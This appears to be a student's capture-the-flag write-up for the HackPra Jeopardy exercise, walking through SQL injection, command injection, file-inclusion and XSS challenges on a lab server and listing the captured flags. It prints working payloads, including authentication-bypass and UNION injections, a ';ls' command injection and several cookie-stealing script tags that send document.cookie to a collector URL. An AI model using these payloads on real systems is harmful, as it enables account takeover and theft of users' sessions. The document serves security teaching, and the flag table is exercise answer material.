Exercise 2:
HackPra Jeopardy CTF

Contents

1 SQLi

1.1 FAUST Login

Taking a look at the source code, we can see that the server expects a *username* and a *password* as an input and executes a simple SQL query: `SELECT user FROM users WHERE user='$user' AND pass='$pass'`.

Through the input, we can control the whole SQL query. If we enter `root' -- -` as the *username* and a random password, the whole query will evalute to `SELECT user FROM users WHERE user='root' -- - ' AND pass='123'`, thus commenting out the password check and logging us as the root user.

1.2 FAUST Answer Machine

This task can be solved with the previous payload, namely `root' -- -`. Because we can't directly enter a *username*, the extra thing that we need to do is right-click on the select element and open the *Web Developer Tools* → *Inspector* (Mozilla). We can then find the option tag for root and change its value to the above payload.

We can then select root as the username, enter a random password, click on *Login*, and we will be logged in as the root user.

1.3 FAUST Phonebook

Looking at the source code, we can see that the *challenge* table consists of three columns: *id*, *phone* and *lv*. We can also see that the server checks if the user that is logging in is actually an admin (`$q["lv"] == "admin"`). By default, all users inserted into the database are registered as guests: `INSERT INTO challenge VALUES('$id', $phone, 'guest')`.

Another thing that we can see in the source code is that the *phone* input is being inspected first before being inserted into to database:

```
if(strlen($phone) >= 20) exit("Access Denied");
if(eregi("load|0x|#|hex|char|ascii|ord|from|select|union|infor|challenge",
↪  $phone)) exit("Access Denied");
```

By controlling the *phone* input, we can craft the following payload that will bypass all restrictions: `123, 'admin') -- -` . If we use this payload and provide 10 as the *id* input, the whole SQL query will evalute to

```
INSERT INTO challenge VALUES ('10', 123, 'admin') -- - , 'guest')
```

thus registering us as an admin. If we now try to log in with 10 as the *id* and 123 as the *phone*, we will be logged in as an admin.

1.4 FAUST Login #2

By analyzing the source code, we can see that there is a second table named secret and that the SQL query returns only one column, in particular, the username: `SELECT user FROM users WHERE user='$user' AND pass='$pass'`. Because we control the *user* input, we can make the first SELECT statement return nothing and union it with a second SELECT statement that will return the flag. The *user* input will look like following

```
' UNION SELECT flag FROM secret -- -
```

and if we provide a random password, the whole SQL query will evaluate to

```
SELECT user FROM users WHERE user='' UNION SELECT flag FROM secret -- - ' AND
↪  pass='123'
```

This will return the flag instead of the username.

1.5 Secret Storage

Once again, we analyze the source code and it becomes clear to us, that the following check would need to be bypassed:

```
$row[0] == "root" && substr($password, 0, 8) == substr($row[1], 0, 8)
```

The first thing that it checks is if the returned user has the username of root. The second thing it checks is if the first eight characters of the *password* input are the same as the first eight characters of the users' password stored in the database.

Because we control the inputs, we can first enter root as the *username* input and aaaaaaaa as the password input. This will not return any results, because the password is probably wrong. We can then UNION it with a second SELECT statement, which will return root as the username and aaaaaaaa as the password:

```
SELECT user, pass FROM users WHERE user='root' AND pass='aaaaaaaa' UNION SELECT
↪  'root', 'aaaaaaaa'
```

To summarize everything, we would only need to provide `root` as the username and `aaaaaaaa' UNION SELECT 'root', 'aaaaaaaa` as the password in order to exfiltrate the flag.

1.6 Secure Phonebook

This task is similar to the **FAUST Phonebook** task, except the server additionally checks if the keyword admin is present in both the *id* and *phone* input:

```
1 if(strlen($phone) >= 20) exit("Access Denied");
2 if(eregi("admin", $id)) exit("Access Denied");
3 if(eregi("load|admin|0x|#|hex|char|ascii|ord|from|select|union|infor|challenge",
  ↪  $phone)) exit("Access Denied");
```

The following hint was also provided to us: *An expression expr can refer to any column that was set earlier in a value list.* What this means is, when inserting new values into a table, the value provided for the first column can then be used for the second column. The query

```
INSERT INTO challenge VALUES('3', 2 * id, 'guest')
```

will first insert the value '3' in the column id and then use the value of that column in order to evaluate the second column, i.e. *phone*. Because the first one is a string, it will first be converted into an integer (3) and multiplied by two, and then saved in the table. In order words, the above SQL query will evalute to the following SQL query:

```
INSERT INTO challenge VALUES('3', 6, 'guest')
```

Because we can also control both the *id* and *phone* input, we can use the value of the first expression inside the second expression. We would also need to somehow mask the admin keyword, because if it is detected in either of the both inputs, the server will exit with the message `Access Denied`.

After a couple of trials and errors because of the length limit of only 19 characters, the first one that worked is as follows: We can provide the value nimda in the *id* input and the use the `REVERSE()` function in order to bypass both restrictions. The payload that we will provide in the *phone* input is `1,REVERSE(id)) --` and the whole SQL query will evalute to

```
INSERT INTO challenge VALUES('nimda', 1, REVERSE(id)) -- , 'guest')         -->
INSERT INTO challenge VALUES('nimda', 1, REVERSE('nimda')) -- , 'guest')    -->
INSERT INTO challenge VALUES('nimda', 1, 'admin') -- , 'guest')
```

We can then log in as an admin by providing nimda as the *id* and 1 as the *phone*.

1.7 FAUST How News

By browsing to the links, we can see that the *id* GET parameter changes depending on which news we choose. We can test if the server is vulnerable to SQL injection by injecting a single apostrophe after the value provided to the *id* parameter. We get the output `No such news`, which means the server is vulnerable to blind SQL injection.

If we try to create an SQL query with the UNION keyword, the server responds with `Don't do UNION! :-/`. So, before continuing, let's try some truth tests. If we provide `1 AND 1=1` as value to the *id* parameter, we can see that the server responds with `This is the first news in our super-duper system`. But if we change the equation to `1=2`, as expected, the server responds with `No such news` again.

We will use the same trick to dump the whole users, i.e. everytime we get `This is the first news in our super-duper system` as a response, we know that our query was successful. But if we get `No such news`, it means that our query is wrong.

We will use the following payload in order to test if a particular statement is true: `1 AND EXISTS (SELECT STATEMENT)`.

All of the relevant files are located in blatt2/a2/SQLi/FAUST How News. Their functions are as follows:

- main.py: Calls the function that does the blind SQL injection and pretty-prints the dumped rows
- sqlinjection.py: The actual code for blind SQL injection lies here

2 Python

All relevant files for these tasks are located in separate folders inside blatt2/a2/Python. Each of these folders contains a file named main.py, which contains the source code.

3 CMDi

3.1 Open Sesame

When we open the homepage of this task (http://10.0.23.24:8080/cmdi/level01/), we can see that we are currently in the directory level01. If we click on the link where the secret is, it will

redirect us to the URL http://10.0.23.24:8080/cmdi/secret/secret.php and show `You don't have permission to access /secret/secret.php on this server.`

If we go to **Page1**, the URL changes to http://10.0.23.24:8080/cmdi/level01/index.php?page=page1. If we try to open a page that does not exist, e.g. http://10.0.23.24:8080/cmdi/level01/index.php?page=page4, we get the following error message: `include(): Failed opening './page4.php' for inclusion (include_path='.:')`.

From this, we can see that the server tries to include a file from the GET parameter *page* and append .php at the end of it. We can therefore use this knowledge to get the secret page. For that, we would first need to go back to the parent of the level01 directory, enter the secret directory, open the file secret.php and get the flag: http://10.0.23.24:8080/cmdi/level01/index.php?page=../secret/secret.

3.2 FAUST Administration

If we check the source code, we can see the following line of code:

```
if($_POST["password"] == file_get_contents("top_secret_admin_pass.txt"))
```

Because we now know the name of the file and we know that it is located in the same directory as the index.php file, we can read the contents of it by navigating to http://10.0.23.24:8080/cmdi/level02/top_secret_admin_pass.txt. We can then go back to the login page and log in with the password (NoWayThisIsVerySecret).

3.3 Pinger Thingie

By analyzing the source code, we can see that the server takes the user input (*ip*) and tries to ping it:

```
system("ping -c 1 -w 1 " . $ip);
```

We can therefore inject our own command and find the hidden file. We do this by providing the payload `;ls`, which would list the file no_w4y_u_will_guess_this_filename.txt. We can then navigate to http://10.0.23.24:8080/cmdi/level03/no_w4y_u_will_guess_this_filename.txt and get the flag.

3.4 Article Lister

When we navigate to the homepage of this task, we can see the following message: `Someone said that this web site has a vulnerability and one must include the script from /hack. inc...`. If we click on one of the articles in the menu, e.g. **hacker**, the URL changes to http://10.0.23.24:8080/cmdi/level04/index.php?article=hacker.

What we can now do is just change the *article* GET parameter from hacker to /hack.inc and get the secret: http://10.0.23.24:8080/cmdi/level04/index.php?article=/hack.inc.

3.5 Translation

If we open the translation.phps page, we can analyze the code and see that the server uses the value of the cookie *lang* (and appends .php to it) in order to get the content of a particular PHP file. That means, that if we can control the cookie, we can read the contents of the secret file.

This time, the secret directory is located directly inside the level05 directory. The secret file is named secret.php. We can therefore navigate to http://10.0.23.24:8080/cmdi/level05/translation.php, click on *translate* in order for the server to set the cookie (language does not matter). Then,

open the *Web Developer Tools*, navigate to *Storage* → *Cookies*, find the cookie named *lang* and change its value to secret/secret. When we refresh the page, we get the flag.

3.6 Login

Looking at the source code, we find the two most important lines:

```
// A line looks like this: username;md5hashed;active;<random bullshit>
fwrite($handle, $username.';'.md5( $password ).';'.( $auto_enable_accounts ? '1' : '0' ) . ';' . "\n" );
```

Because we know the format in which the credentials are saved, and because we control the inputs, we can provide the following payload as the *username* and a random password (e.g. 456): test;202cb962ac59075b964b07152d234b70;1;\n. The second line of the code example above will evaluate to the following:

```
fwrite($handle,
  'test;202cb962ac59075b964b07152d234b70;1;\n;250cf8b51c773f3f8dc8b4be867a9a02;
  0;\n');
```

We can then log in with test as the *username* and 123 as the *password*, and get the flag. It should also be noted that the value 202cb962ac59075b964b07152d234b70 is the MD5 hash value of the string 123.

4 XSS

4.1 Registration

By analyzing the page, we can see that the *user* GET parameters gets reflected on the webpage. We can therefore inject our own HTML tag, namely *script* and steal the user cookies. The cookie-stealer payload will look like this:

```
<script>fetch(['http://10.0.23.24:8080/xss-helper/cookiejar/0123456789abcdef/',
  btoa(document.cookie)].join(''));</script>
```

When we inject the payload at the end of the URL and the admin visits it, we will steal his cookies, and later use them to log in and get his email address. The end URL will look like this: http://10.0.23.24:8080/xss/level01/?page=home&user=test@test.com⟨script⟩fetch(['http://10.0.23.24:8080/xss-helper/cookiejar/0123456789abcdef/',btoa(document.cookie)].join(''));⟨/script⟩. We can then send this URL to the admin via the *Admin Remote Control* on *XSS Helper*. When he clicks on it, the JavaScript code will execute and send all of his cookies to us.

Note: The cookies that we get will be base64-encoded, so we will need to decode them first. Also, the URL to the *XSS Helper* would need to be changed.

4.2 Guestbook

We can first register an account (e.g. with the email **test@test.com**) and then log in. As we can see, we can leave a message for the administrator. This gives us the ability to inject a JavaScript code that will get executed each time a user visits our page.

We can once again use the cookie-stealer from the previous task

```
<script>fetch(['http://10.0.23.24:8080/xss-helper/cookiejar/0123456789abcdef/',
↪  btoa(document.cookie)].join(''));</script>
```

and inject it into the *message* input box. We can the send our page URL to the admin via the *Admin Remote Control* on *XSS Helper*. When he clicks on it, the JavaScript code will execute and send all of his cookies to us.

Note: The cookies that we get will be base64-encoded, so we will need to decode them first. Also, the URL to the *XSS Helper* would need to be changed.

4.3 Gallery

By clicking on the presented images, we get the message that the last image can only be seen by the administrator (`Only the admin can access this!`). We can also see that each time we click on an image, the URI fragment (the part in the URI after the #) changes. We can use the following technique [1] in order to exploit this.

If we take a look at the source code, we can see the following:

```
1  function rotatePicture(name) {
2      location.href= '#' + name
3
4      writeDiv(name);
5  }
6
7  function writeDiv(name) {
8      var contentDiv = document.getElementById("content");
9      contentDiv.innerHTML = '<img width="400" src="./gallery/' +
       ↪  decodeURIComponent(name) +'.jpg"></img>';
10 }
```

If we pass the name of the first image (**foto1**), the above code will produce the following image tag: `<img width="400" src="./gallery/foto1.jpg"></img>`. Because the name of the photo is inserted in order to create the whole image tag, we can also inject our own attribute. We can, for example, first escape the attribute value and create another attribute value that will execute our code.

Supplying the following URI fragment `foto1.jpg" x="` will result in the following image tag being created: `<img width="400" src="./gallery/foto1.jpg" x=".jpg"></img>`. We can now insert our own JavaScript code between the *src* and *x* tag and it will get executed when the element is loaded. For that, we use the following payload

```
foto1.jpg"
↪  onload="fetch(['http://10.0.23.24:8080/xss-helper/cookiejar/0123456789abcdef/'
↪  , btoa(document.getElementsByTagName('ul')[1].getElementsByTagName('li')[3].
↪  outerHTML)].join(''));" x="
```

which results in the following image tag being created:

```
<img width="400" src="./gallery/foto1.jpg" onload="fetch(['http://10.0.23.24:8080
↪  /xss-helper/cookiejar/0123456789abcdef/',
↪  btoa(document.getElementsByTagName('ul')[1].getElementsByTagName('li')[3].
↪  outerHTML)].join(''));" x=".jpg"></img>
```

Thus, when the admin clicks on the URL (http://10.0.23.24:8080/xss/level03/?page=home#foto1.jpg"onload="fetch(['http://10.0.23.24:8080/xss-helper/cookiejar/bd24517e6e1e8fd2/',btoa(document.getElementsByTagName('ul')[1].getElementsByTagName('li')[3].outerHTML)].join(''));"x="), the payload will get executed and send us the fourth tag. We can thus find out the name of the image, download it ourselves and calculate its MD5 hash value.

Note: The tag that we get will be base64-encoded, so we will need to decode it first. Also, the URL to the *XSS Helper* would need to be changed.

5 Flags

Task	**Category**	**Flag**
FAUST Login	SQLi	fau-ctf-389b492ed24707e605d435f4c54a09de
FAUST Answer Machine	SQLi	fau-ctf-9f5266afdbe8b2852b332c2bfca5399f
FAUST Phonebook	SQLi	fau-ctf-32526bf21ceb85da743562b3ca77d05b
FAUST Login # 2	SQLi	fau-ctf-b9a9ec510ffcebb660f4bf2bf2fb1da4
Secret Storage	SQLi	fau-ctf-55ae0133e8d7b6496a9cfb0d408ced5a
Secure Phonebook	SQLi	fau-ctf-827b9f3337d0f1b16d9fa22b828005ef
FAUST Hot News	SQLi	fau-ctf-6f68cd501a5dbf8f11067684f4c3b564
Level 01	Python	fau-ctf-7e38c82644df46c3aca700f42277a4ba
Level 02	Python	fau-ctf-a0e4832c6154759d9cf9d937aa9c4137
Level 03	Python	fau-ctf-e78312b50de10bbbddd25724b3c73d11
Level 04	Python	fau-ctf-9509c7be4bf4e41b4fbd09a88c2c29e9
Level 05	Python	fau-ctf-4llY0urHttP4r3bel0ngsToU5
Level 06	Python	fau-ctf-aae9f89b5599fc97450df3c1e34f592c
Open Sesame	CMDi	fau-ctf-47ba12f462882c1da2fdefc45bc3c512
FAUST Administration	CMDi	fau-ctf-66e276e6a2d25bf68df1a7026d45a102
Pinger Thingie	CMDi	fau-ctf-7e6db4ac47670b7124dbd23d72771101
Article Lister	CMDi	fau-ctf-dfb13d524903935f7b86e504e69f6c83
Translation	CMDi	fau-ctf-c0996e415526afa89b2725d070c08a75
Login	CMDi	fau-ctf-87e3ffb92b5f10d3d0bb670d0293ff9f
Level 01	XSS	/
Level 02	XSS	/
Level 03	XSS	/

Table 1: Captured flags

6 Requirements

In order to install the required Python libraries and parsers, execute the following command in the terminal:

```
pip3 install requests beautifulsoup4 lxml terminaltables
```

References

1. https://owasp.org/www-community/attacks/DOM_Based_XSS